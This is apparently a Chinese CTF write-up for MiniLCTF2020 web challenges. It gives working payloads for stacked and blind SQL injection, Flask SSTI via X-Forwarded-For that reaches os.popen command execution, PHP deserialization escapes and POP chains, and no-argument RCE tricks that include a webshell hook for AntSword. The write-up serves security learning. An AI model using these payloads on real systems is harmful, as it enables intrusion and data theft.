Contents

MiniLCTF2020 Writeup

题目质量很不错,平台界面好看又稳定,动态docker启动快

id_wife

打开是个注入页面,尝试注入:

1
2
3
-1') or 1=1 #
//爆出所有用户
//这里用了括号包裹

简单fuzz一下发现好像就select被过滤了

尝试基本姿势绕过select都没用,没有select的话一般只能用报错注入和盲注,但是都不能查到字段值

想到强网杯2019的“随便注”也是过滤了select,但是要用堆叠注入

尝试堆叠注入,发现可以,payload:

1
2
3
4
5
6
gloucester');show tables;#
//1145141919810  user

gloucester');desc `1145141919810`#
//没看见字段名,无法改名
//这里前面要输入存在的用户,为什么是gloucester,可能是名字好看吧

因为gloucester是个pljj

select被过滤用预编译:

1
2
3
4
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

payload:

1
2
3
4
gloucester');Set @sql = CONCAT('se','lect * from `1145141919810`;');Prepare stmt from @sql;EXECUTE stmt;#
//这里Set和Prepare小写时回显hint:strstr
//想到strstr区分大小写,过滤了小写那么大写即可绕过
//若要不区分大小写可以换为stristr()函数

flag:minil{61c305b9-0f20-4445-88ea-7c4cddfa40dd}

参考:http://wh1sper.com/2019强网杯随便注_wp/


Personal_IP_Query(ssti_bypass)

题目打开会获取你的ip,尝试XFF发现可以

有道题[CISCN2019 华东南赛区]Web11就是在XFF处进行SSTI

构造{{77}}发现返回49,构造{{7‘7’}}发现引号被过滤

于是尝试绕过引号进行ssti

参考:SSTI Bypass 分析浅析SSTI(python沙盒绕过)

request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤,过滤双下划线也适用

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#获取所有类:
/?x1=__class__;x2=__base__;x3=__subclasses__
X-Forwarded-For: {{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()}}

#寻找到catch_warning:
/?x1=__class__;x2=__base__;x3=__subclasses__;x4=__getitem__
X-Forwarded-For: {{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(174)}}

#命令执行:
/?x1=__class__;x2=__base__;x3=__subclasses__;x4=__getitem__;x5=__init__;x6=__globals__;x7=__builtins__;x8=eval;x9=__import__("os").popen('cat+/flag').read()
X-Forwarded-For:{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(174)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}

这里getitem的用法为:__mro__[2]== __mro__.__getitem__(2)这样方便构造

这里是用的GET传参,将其中的request.args改为request.values则利用POST的方式进行传参

flag:minil{4326ae13-0106-423d-b9fc-3fc989f84bcf}

ezbypass

打开是一个登录界面,尝试注入:

sqlfuzz:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//ban:
1	;	200	false	false	1946	
5	and	200	false	false	1946	
6	or	200	false	false	1946	
7	for	200	false	false	1946	
17	information	200	false	false	1946	
21	concat	200	false	false	1946	
23	order	200	false	false	1946	
32	oror	200	false	false	1946	
33	=	200	false	false	1946	
35	/	200	false	false	1946	
37	^	200	false	false	1946	
39	<>	200	false	false	1946	
43	/**/	200	false	false	1946	
47	;	200	false	false	1946	
48	xor	200	false	false	1946	
49	regexp	200	false	false	1946	
53	substr	200	false	false	1946	
54	if	200	false	false	1946	
55	hex	200	false	false	1946	
56	mid	200	false	false	1946	
57	char	200	false	false	1946	
59	updatexml	200	false	false	1946	
60	extractvalue	200	false	false	1946	
61	secpulse'='	200	false	false	1946	
62	update	200	false	false	1946	
63	insert	200	false	false	1946	
65	concat	200	false	false	1946	
68	sleep	200	false	false	1946	
69	ascii	200	false	false	1946	
70	bin	200	false	false	1946	
71	floor	200	false	false	1946	
72	,	200	false	false	1946	
74	substring	200	false	false	1946	
75	group_concat	200	false	false	1946	
77	BENCHMARK	200	false	false	1946	
78	ord	200	false	false	1946	
82	password	200	false	false	1946	
84	?\	200	false	false	1946	
85	concat_ws	200	false	false	1946	
93	rand	200	false	false	1946	
95	load_file	200	false	false	1946

看起来过滤了很多,还好select和union没被ban,还有limit可以用

主要是逗号被ban了需要绕过:参考:http://blog.clq0.top/2020/04/x1ct34m考核题笔记/#i-3

这题问了出题人,预期解是逗号绕过和无列名注入

预期解:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
猜列数:
1"union select * from ((select 1)A join (select 2)B)#
//alert('Username:1 \nPassword:2')

爆库名:
1"union select * from ((select 1)A join (select database())B)#
//alert('Username:1 \nPassword:minil_sqli')

爆表名:
因为or被滤了,所以information_schema用不了
尝试sys.schema_table_statistics无果,没事还有mysql.innodb_table_stats
1"union select * from ((select table_name from mysql.innodb_table_stats )A join (select 2)B)#
//alert('Username:minil_users1 \nPassword:3')

//用limit、offset一个一个查(因为concat被过滤了):
1"union select * from ((select table_name from mysql.innodb_table_stats limit 1 offset 1)A join (select 2)B)#
//alert('Username:gtid_slave_pos \nPassword:3')
就这两条

所以表名:minil_users1gtid_slave_pos

爆列名:
1"union select * from ((select username from minil_users1)A join (select 2)B)#
//alert('Username:admin \nPassword:2')

然后就只能无列名注入了,因为password被ban了,并且没有可替换的数据库存有列名

这里尝试用之前的payload:

1
1"union select * from ((select 1)m join (select x.2 from (select * from (select 1)i join (select 2)j union select * from minil_users1)x limit 1 offset 0)t)#

没有用,尝试了一些网上的也没出,等一手wp吧

非预期:

wh1sper师傅告诉用:1"||1 limit 1 offset 0#,恍然大悟

1
2
3
4
5
//爆出当前表所有字段和值
alert('Username:admin \nPassword:You_really_enter_it')
alert('Username:guest \nPassword:1145141919810')
alert('Username:V0n \nPassword:XDSEC_NIUBI')
alert('Username:Flag_1s_heRe \nPassword:goto /flag327a6c4304a')

然后访问网页ip/flag327a6c4304a/

打开是个反序列化逃逸:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
include ('flag.php');
error_reporting(0);
function filter($payload){
    $key = array('php','flag','xdsec');
    $filter = '/'.implode('|',$key).'/i';
    return preg_replace($filter,'hack!!!!',$payload);
}

$payload=$_GET['payload'];
$fuck['mini']='nb666';
$fuck['V0n']='no_girlfriend';

if(isset($payload)) {
    if (strpos($payload, 'php') >=0 || strpos($payload, 'flag')>=0 || strpos($payload, 'xdsec')>=0) {
        $fuck['mini']=$payload;
        var_dump(filter(serialize($fuck)));
        $fuck=unserialize(filter(serialize($fuck)));
        var_dump($fuck);
        if ($fuck['V0n'] === 'has_girlfriend') {
            echo $flag;
        } else {
            echo 'fuck_no_girlfriend!!!';
        }
    }else{
        echo 'fuck_no_key!!!';
    }
}else{
    highlight_file(__FILE__);
}

可以看到过滤了php、flag、xdsec

一方面是防止直接var_dump($flag);一方面就是让我们利用这个正则替换进行反序列化逃逸

之前有做过类似的,不过两道题有点区别,安恒4月赛那题是这样的:

源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

payload:

1
2
a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&
b=AAAA";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

这题利用read函数的操作替换\0\0\0N*N,导致6字节变3字节

所以我们传入的payload本来前面是54字节,替换后变为27字节,但是s:54:不变

所以后面的27个字符会被吞掉,变成username的内容,然后我们在后面构造序列化闭合就可以成功让php执行自己构造的序列化代码

本题类似,filter函数执行正则替换,将php、flag、xdsec替换为hack!!!!

我们目的要将$fuck['V0n']='no_girlfriend'; 变为:$fuck['V0n']='has_girlfriend';

但是直接传进去是没用的,我们得想办法逃逸这段序列化代码

看图就很明白了:

我们输入的payload会赋值给$fuck['mini']看上图我们输入:

1
phpphpphpphpphpphpphp";s:3:"V0n";s:14:"has_girlfriend";}

这段字符串有56个字符,其中php占了21个,但是经过$filter函数的替换

变为hack!!!!以后,因为php占3个字符,hack!!!!占8个,所以每个php多出5个字符

于是本来php占的21个字符扩张为了21+35=56个字符,刚好等于之前传入的所有字符长度

于是所有hack!!!!变为$fuck['mini']的内容,后面构造的序列化字符串就会逃逸出来,闭合以后被php执行

得到flag:

minil{2aef3ba7-3808-4495-b8f1-6150c0b8c421}

Let’s_Play_Dolls

考点:PHP反序列化,无参数RCE

源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php 
error_reporting(0); 
if(isset($_GET['a'])){ 
    unserialize($_GET['a']); 
} 
else{ 
    highlight_file(__FILE__); 
} 

class foo1{ 
    public $var=''; 
    function __construct(){ 
        $this->var='phpinfo();'; 
    } 
    function execute(){ 
        if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $this->var)) {  
            if(!preg_match('/header|bin|hex|oct|dec|na|eval|exec|system|pass/i',$this->var)){ 
                eval($this->var); 
            }   
            else{ 
                die("hacked!"); 
            }   
        } 

    } 
    function __wakeup(){ 
        $this->var="phpinfo();"; 
    } 
    function __desctuct(){ 
        echo '<br>desctuct foo1</br>'; 
    } 
} 
class foo2{ 
    public $var; 
    public $obj; 
    function __construct(){ 
        $this->var='hi'; 
        $this->obj=null; 
    } 
    function __toString(){ 
        $this->obj->execute(); 
        return $this->var; 
    } 
    function __desctuct(){ 
        echo '<br>desctuct foo2</br>'; 
    } 
} 
class foo3{ 
    public $var; 
    function __construct(){ 
        $this->var="index.php"; 
    } 
    function __destruct(){ 
        if(file_exists($this->var)){ 
            echo "<br>".$this->var."exist</br>"; 
        } 
        echo "<br>desctuct foo3</br>"; 
    } 
    function execute(){ 
        print("hi"); 
    } 
} 

最近遇到好多反序列化,本题需要了解以下魔术方法:

1
2
3
4
__wakeup:unserialize( )会检查是否存在一个_wakeup( ) 方法。如果存在,则会先调用 _wakeup 方法,预先准备对象需要的资源
__construct:具有构造函数的类会在每次创建新对象时先调用此方法。
__destruct:析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
__toString:_toString( ) 方法用于一个类被当成字符串时应怎样回应。

我们从foo1开始看:

foo1中最主要的是以下函数(简化后):

1
2
3
function execute(){
          eval($this‐>var);
    }

我们目的要将$var改为我们想要执行的命令

在foo2中可以看到:

1
2
3
4
function __toString(){
          $this‐>obj‐>execute();
          return $this‐>var;
    }

所以我们要将$obj实例化为foo1对象,然后因为这里是__toString方法,看到foo3中有echo函数可以将对象作为字符串输出:

1
2
3
4
5
6
function __destruct(){ 
        if(file_exists($this->var)){ 
            echo "<br>".$this->var."exist</br>"; 
        } 
        echo "<br>desctuct foo3</br>"; 
    }

所以很明显,将$var实例化为foo2对象即可触发__toString方法

所以pop链为:

1
2
3
4
5
6
7
//$f1 = new foo1();
//$f2= new foo2();
//$f3 = new foo3();

//$f3‐>var = $f2;
//$f2‐>obj = $f1;
//$f1‐>var = "evil";

总结一下就是实例化foo3以后会触发foo2中的__toString方法,然后调用foo1中的execute()执行evil代码

当然没有那么简单,还需要绕过以下:

1
2
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $this->var)) {  
            if(!preg_match('/header|bin|hex|oct|dec|na|eval|exec|system|pass/i',$this->var)){

(?R)? 这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数)

所以总结就是从$var参数中,匹配匹配字母、数字、下划线,其实就是'\w+',然后在匹配一个循环的'()',将匹配的替换为NULL,判断剩下的是否只有';'

也就是可以无限嵌套函数但是函数不能有参数

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
class foo1{
    public $var='';
    function __construct(){
        $this->var='print_r(array_reverse(scandir(current(localeconv()))));';
    }

    function execute(){
        if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $this->var)) { 
            if(!preg_match('/header|bin|hex|oct|dec|na|eval|exec|system|pass/i',$this->var)){
                eval($this->var);
           }
            else{
                die("hacked!");
            }
        }

    }

    function __wakeup(){
        $this->var="phpinfo();";
    }

    function __desctuct(){
        echo '<br>desctuct foo1</br>';
    }
}
class foo2{
    public $var;
    public $obj;
    function __construct(){
        $this->var='hi';
        $this->obj=new foo1();
    }
    function __toString(){
        $this->obj->execute();
        return $this->var;
    }
    function __desctuct(){
        echo '<br>desctuct foo2</br>';
    }
} 
class foo3{
    public $var;
    function __construct(){
        $this->var = new foo2();
    }
    function __destruct(){
        if(file_exists($this->var)){
            echo "<br>".$this->var."exist</br>";
        }
        echo "<br>desctuct foo3</br>";
    }
    function execute(){
        print("hi");
    }
} 

$f3 = new foo3();

$poc = serialize($f3);
echo $poc;
unserialize($poc);
?>

print_r(array_reverse(scandir(current(localeconv()))));
这段函数用来查看当前目录下的文件

O:4:"foo3":2:{s:3:"var";O:4:"foo2":2:{s:3:"var";s:2:"hi";s:3:"obj";O:4:"foo1":1:{s:3:"var";s:55:"print_r(array_reverse(scandir(current(localeconv()))));";}}}
//记得绕过wakeup

得到:

直接访问youCanGet1tmaybe得到flag:

minil{ba5683ec-9b63-4591-9be1-e8f0247e1529}

无参数RCE

举几个栗子:

<?php print_r(scandir('.')); ?>可以用来查看当前目录所有文件

但是要怎么构造参数里这个点呢,这里介绍个函数:

localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."

要怎么取到这个点呢,另一个函数:

current()返回数组中的单元,默认取第一个值

所以scandir(current(localeconv()));成功打印出当前目录下文件:

1
2
scandir(pos(localeconv()));也可以
//pos是current的别名

再介绍几个简单常用的:

getcwd()获取当前路径

dirname()返回路径中的目录部分,可以用这个函数去读取上一层目录的文件

chdir()改变工作目录

如果文件不能直接显示呢?比如php源码

那我们要怎么取出这个数组呢:

手册里有这些方法,如果要获取的数组是最后一个那我们直接print_r(readfile(end(scandir(getcwd()))));

或者:print_r(readfile(current(array_reverse(scandir(getcwd())))));

array_reverse()以相反的元素顺序返回数组

如果是倒数第二个我们可以用:readfile(next(array_reverse(scandir(getcwd()))));

如果不是数组的最后一个呢?

array_rand(array_flip())array_flip()是交换数组的键和值,array_rand是随机返回一个数组

我们可以用:print_r(readfile(array_rand(array_flip(scandir(current(localeconv()))))));

或者:print_r(readfile(array_rand(array_flip(scandir(getcwd())))));

多刷新几次在源码中查看到我们成功读取了目标文件

如果目标文件不在当前目录呢?

print_r(scandir(dirname(getcwd())));查看上一级目录的文件

当然直接print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));是不可以的

会报错,因为默认是在当前目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前目录

前面写到了chdir(),用print_r(readfile(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))));即可改变当前目录为上一层目录并读取文件

如果在上一层目录的另一个文件夹里呢
我们使用:`print_r(scandir(dirname(getcwd())));`

可以得到:

使用:print_r(array_rand(array_flip(scandir(dirname(getcwd())))));得到:

这里我本来想尝试套娃使用类似的方法获取,但是发现好像并不行

没事我们可以换一种方法,我将index.php源代码修改为:

1
2
<?php
eval($_GET['a']);

这里又介绍一个函数:get_defined_vars()此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

输入:?a=print_r(current(get_defined_vars()));&b=a返回:

这下简单了,我们只需要在b处写需要执行的代码,用next()即可获取到b的值

输入:?a=assert(next(current(get_defined_vars())));&b=phpinfo();//也可以用eval

返回:

我们可以直接:?a=assert(next(current(get_defined_vars())));&b=eval($_POST['a']);蚁剑一把梭

或者由之前查到的路径:?a=assert(next(current(get_defined_vars())));&b=print_r(scandir('../flag_is_here'));

发现了flag3.php,输入:?a=assert(next(current(get_defined_vars())));&b=readfile('../flag_is_here/flag3.php');

源码处得到flag:

先到这里,还有利用中间件apache的php内置函数apache_request_headers()进行获取headers达到rce

还有利用php内置函数session_id()获取session进行rce

挖个坑,持续更新ing…

参考:https://www.jianshu.com/p/7355a5ab4822https://www.cnblogs.com/wangtanzhi/p/12311239.html

are you reclu3e

打开是一个登录框,尝试一会注入发现宽字节可以注:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
尝试宽字节注入时有不同回显:
alert('I know you are reclu3e but you need post the right password')

猜列数为2时:1%df' union select 1,2#有:
alert('I know you are reclu3e but you need post the right password')

没回显,只能盲注:
盲注数据库长度为5:
1%df' or length(database())=5#

盲注表名:
1%df' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit  0,1),1,1)) =117#
//第一位u
1%df' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit  0,1),2,1)) =115#
//第二位s
users

列名:
可以根据源码泄露.login.php.swp获得列名username和password,或者直接猜
我怕它平台撑不住所以没扫目录,后来放了hint一看就知道有源码
估计把username和password从information_schema.columns表里删了,注了半天没注出来

字段值:
username:reclu3e
password:50dc96a1567a18eb384eeddf1a9a7d48

或者用逻辑为真万能密码登录:%df' union select 1,1#

然后根据.index.php.swp源码,反序列化即可:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
    include "flag.php";//$flag="minilctf{****}";
    session_start();
    if (empty($_SESSION['uid'])) {
        include "loginForm.html";
    }
    else{
        echo '<h1>Hello, reclu3e!</h1>';
        $p=unserialize(isset($_GET["p"])?$_GET["p"]:"");
    }
?>
<?php
class person{
    public $name='';
    public $age=0;
    public $weight=0;
    public $height=0;
    private $serialize='';
    public function __wakeup(){
        if(is_numeric($this->serialize)){
            $this->serialize++;
        }
    }
    public function __destruct(){
        @eval('$s="'.$this->serialize.'";');
    }
}

payload:

1
public $serialize='";readfile("flag.php");?>';

查看源码得到flag,或者直接highlight_file()